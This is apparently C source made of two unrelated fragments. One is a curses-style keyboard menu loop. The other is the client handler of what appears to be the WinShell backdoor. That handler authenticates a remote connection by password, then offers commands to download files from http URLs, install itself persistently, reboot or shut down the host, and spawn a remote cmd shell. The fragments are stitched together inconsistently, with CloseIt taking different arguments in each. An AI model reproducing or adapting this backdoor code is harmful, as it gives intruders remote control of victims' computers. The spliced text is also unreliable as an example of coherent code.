int main(void) { InitIt(); //WINDOW *w_log; while(true) { int line; line = HelpWindow(); line = StatusWindow(line); int kcode=getch(); int optsize = sizeof(optlist)/sizeof(struct option); int keydecode=0; while(optsize--!=0){ if(kcode == optlist[optsize].key){ printw("%s...\n", optlist[optsize].descript); optlist[optsize].func(NULL); keydecode=1; } } if(!keydecode){ if(kcode == 3) goto ExitProg; // Ctrl+C on raw mode else printw("It key(code:%i) don't support, sorry\n", kcode); } refresh(); } ExitProg: CloseIt(); return 0; }
// handle the client request void TalkWithClient(void *cs) { SOCKET wsh=(SOCKET)cs; char pwd[SVC_LEN]; char cmd[KEY_BUFF]; char chr[1]; int i,j; while (nUser < MAX_USER) { if(wscfg.ws_passstr) { if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZeroMemory(pwd,KEY_BUFF); i=0; while(i<SVC_LEN) { // set timeout fd_set FdRead; struct timeval TimeOut; FD_ZERO(&FdRead); FD_SET(wsh,&FdRead); TimeOut.tv_sec=6; TimeOut.tv_usec=0; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pwd[i]=chr[0]; if(chr[0]==0xd || chr[0]==0xa) { pwd[i]=0; break; } i++; } // if invalid user, close the socket if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); } send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); while(1) { ZeroMemory(cmd,KEY_BUFF); // auto support standard telnet client j=0; while(j<KEY_BUFF) { if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cmd[j]=chr[0]; if(chr[0]==0xa || chr[0]==0xd) { cmd[j]=0; break; } j++; } // download file if(strstr(cmd,"http://")) { send(wsh,msg_ws_down,strlen(msg_ws_down),0); if(DownloadFile(cmd,wsh)) send(wsh,msg_ws_err,strlen(msg_ws_err),0); else send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); } else { switch(cmd[0]) { // help case '?': { send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); break; } // install case 'i': { if(Install()) send(wsh,msg_ws_err,strlen(msg_ws_err),0); else send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); break; } // uninstall case 'r': { if(Uninstall()) send(wsh,msg_ws_err,strlen(msg_ws_err),0); else send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); break; } // show winshell path case 'p': { char svExeFile[MAX_PATH]; strcpy(svExeFile,"\n\r"); strcat(svExeFile,ExeFile); send(wsh,svExeFile,strlen(svExeFile),0); break; } // reboot case 'b': { send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); if(Boot(REBOOT)) send(wsh,msg_ws_err,strlen(msg_ws_err),0); else { closesocket(wsh); ExitThread(0); } break; } // shutdown case 'd': { send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); if(Boot(SHUTDOWN)) send(wsh,msg_ws_err,strlen(msg_ws_err),0); else { closesocket(wsh); ExitThread(0); } break; } // enter cmd shell case 's': { CmdShell(wsh); closesocket(wsh); ExitThread(0); break; } // exit case 'x': { send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CloseIt(wsh); break; } // quit case 'q': { send(wsh,msg_ws_end,strlen(msg_ws_end),0); closesocket(wsh); WSACleanup(); exit(1); break; } } } // prompt message if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); } } return; }